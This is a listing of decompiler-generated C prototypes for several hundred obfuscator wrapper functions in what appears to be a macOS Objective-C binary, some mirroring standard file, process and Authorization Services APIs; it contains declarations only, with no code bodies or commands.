void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18532(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18533(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18534(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18535(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18536(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18537(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18538(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18539(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18540(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18541(__int64 a1);
__CFString *HikariFunctionWrapper_18542();
__CFString *HikariFunctionWrapper_18543();
__int64 __fastcall HikariFunctionWrapper_18544(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18545(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18546(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18547(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18548(__int64);
__int64 __fastcall HikariFunctionWrapper_18549(__int64 a1);
__int64 HikariFunctionWrapper_18550();
__int64 HikariFunctionWrapper_18551();
__int64 __fastcall HikariFunctionWrapper_18552(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18553(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18554(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18555(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18556(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18557(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18558(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18559(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18560(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18561(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18562(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18563(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18564(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18565(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18566(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18567(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18568(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18569(__int64 a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18570();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18571();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18572(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18573(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18574(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18575(void *a1);
char __fastcall HikariFunctionWrapper_18576(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_18577(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18578(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18579(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18580(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18581(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18582(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18583(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18584(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18585(NSString *a1);
id __fastcall HikariFunctionWrapper_18586(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18587(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18588(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18589(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18590(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18591(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18592(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18593(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18594(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18595(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18596(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18597(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18598(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18599(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18600(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18601(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18602(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18603(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18604(__int64);
__int64 __fastcall HikariFunctionWrapper_18605(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18606(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18607(__int64 a1);
id __fastcall HikariFunctionWrapper_18608(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18609(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18610(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18611(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18612(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18613(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18614(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18615(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18616(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18617(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18618();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18619();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18620(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18621(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18622(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18623(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18624(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18625(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18626(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18627(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18628(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18629(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18630(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18631(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18632(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18633(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18634(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18635(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18636(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18637(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18638(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18639(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18640(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18641(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18642(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18643(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18644(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18645(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18646(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18647(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18648(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18649(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18650(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18651(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18652(__int64);
__int64 __fastcall HikariFunctionWrapper_18653(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18654(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18655(NSString *a1);
char *__fastcall HikariFunctionWrapper_18656(char *a1, int a2, FILE *a3);
char *__fastcall HikariFunctionWrapper_18657(char *a1, int a2, FILE *a3);
int __fastcall HikariFunctionWrapper_18658(const char *a1);
int __fastcall HikariFunctionWrapper_18659(const char *a1);
char *__fastcall HikariFunctionWrapper_18660(char *a1, int a2, FILE *a3);
char *__fastcall HikariFunctionWrapper_18661(char *a1, int a2, FILE *a3);
OSStatus __fastcall HikariFunctionWrapper_18662(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
OSStatus __fastcall HikariFunctionWrapper_18663(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
OSStatus __fastcall HikariFunctionWrapper_18664(const AuthorizationRights *a1, const AuthorizationEnvironment *a2, AuthorizationFlags a3, AuthorizationRef *a4);
OSStatus __fastcall HikariFunctionWrapper_18665(const AuthorizationRights *a1, const AuthorizationEnvironment *a2, AuthorizationFlags a3, AuthorizationRef *a4);
OSStatus __fastcall HikariFunctionWrapper_18666(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
OSStatus __fastcall HikariFunctionWrapper_18667(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18668(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18669(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18670(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18671(void *a1);
size_t __fastcall HikariFunctionWrapper_18672(const char *a1);
size_t __fastcall HikariFunctionWrapper_18673(const char *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18674(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18675(NSString *a1);
OSStatus __fastcall HikariFunctionWrapper_18676(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
OSStatus __fastcall HikariFunctionWrapper_18677(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
id __fastcall HikariFunctionWrapper_18678(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18679(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18680(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18681(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18682(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18683(void *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_18684(const char *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_18685(const char *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18686(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18687(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18688(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18689(void *a1);
id __fastcall HikariFunctionWrapper_18690(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18691(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18692(void *a1);
id __fastcall HikariFunctionWrapper_18693(void *a1);
id __fastcall HikariFunctionWrapper_18694(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18695(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18696(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18697(void *a1);
id __fastcall HikariFunctionWrapper_18698(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18699(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18700(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18701(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18702(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18703(NSString *a1);
id __fastcall HikariFunctionWrapper_18704(void *a1);
id __fastcall HikariFunctionWrapper_18705(void *a1);
id __fastcall HikariFunctionWrapper_18706(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18707(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18708(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18709(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18710(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18711(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18712(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18713(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18714(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18715(__int64 a1);
char HikariFunctionWrapper_18716();
char HikariFunctionWrapper_18717();
id HikariFunctionWrapper_18718();
id HikariFunctionWrapper_18719();
id __fastcall HikariFunctionWrapper_18720(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18721(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18722(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18723(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18724(void *a1);
id __fastcall HikariFunctionWrapper_18725(void *a1);
__CFString *__fastcall HikariFunctionWrapper_18726(void *a1, void *a2);
__CFString *__fastcall HikariFunctionWrapper_18727(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_18728(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18729(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18730(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18731(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18732(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18733(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18734(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18735(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18736(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18737(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18738(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18739(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18740(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18741(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18742(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18743(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18744(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18745(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18746(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18747(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18748(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18749(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18750(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18751(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18752(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18753(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18754(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18755(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18756(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18757(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18758(__int64);
__int64 __fastcall HikariFunctionWrapper_18759(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18760(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18761(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18762(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18763(void *a1);
id __fastcall HikariFunctionWrapper_18764(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18765(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18766(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18767(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18768(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18769(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18770(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18771(__int64 a1);
id __fastcall HikariFunctionWrapper_18772(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18773(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18774(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18775(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18776(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18777(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18778(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18779(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18780(__int64);
__int64 __fastcall HikariFunctionWrapper_18781(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18782(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18783(NSString *a1);
id __fastcall HikariFunctionWrapper_18784(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18785(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18786(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18787(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18788(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18789(void *a1);
unsigned int __fastcall HikariFunctionWrapper_18790(unsigned int a1);
unsigned int __fastcall HikariFunctionWrapper_18791(unsigned int a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18792(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18793(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18794(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18795(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18796(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18797(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18798(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18799(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18800(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18801(NSString *a1);
id __fastcall HikariFunctionWrapper_18802(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18803(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_18804(useconds_t a1);
int __fastcall HikariFunctionWrapper_18805(useconds_t a1);
pid_t HikariFunctionWrapper_18806();
pid_t HikariFunctionWrapper_18807();
int __fastcall HikariFunctionWrapper_18808(int a1);
int __fastcall HikariFunctionWrapper_18809(int a1);
id __fastcall HikariFunctionWrapper_18810(void *a1);
id __fastcall HikariFunctionWrapper_18811(void *a1);
id __fastcall HikariFunctionWrapper_18812(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18813(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18814(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18815(void *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18816();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18817();
__int64 __fastcall HikariFunctionWrapper_18818(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18819(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18820(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18821(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18822(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18823(__int64 a1);
bool HikariFunctionWrapper_18824();
bool HikariFunctionWrapper_18825();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18826(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18827(void *a1, const char *a2);
id HikariFunctionWrapper_18828();
id HikariFunctionWrapper_18829();
char HikariFunctionWrapper_18830();
char HikariFunctionWrapper_18831();
id __fastcall HikariFunctionWrapper_18832(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18833(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18834(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18835(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18836(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18837(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18838(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18839(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18840(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18841(void *a1, const char *a2);
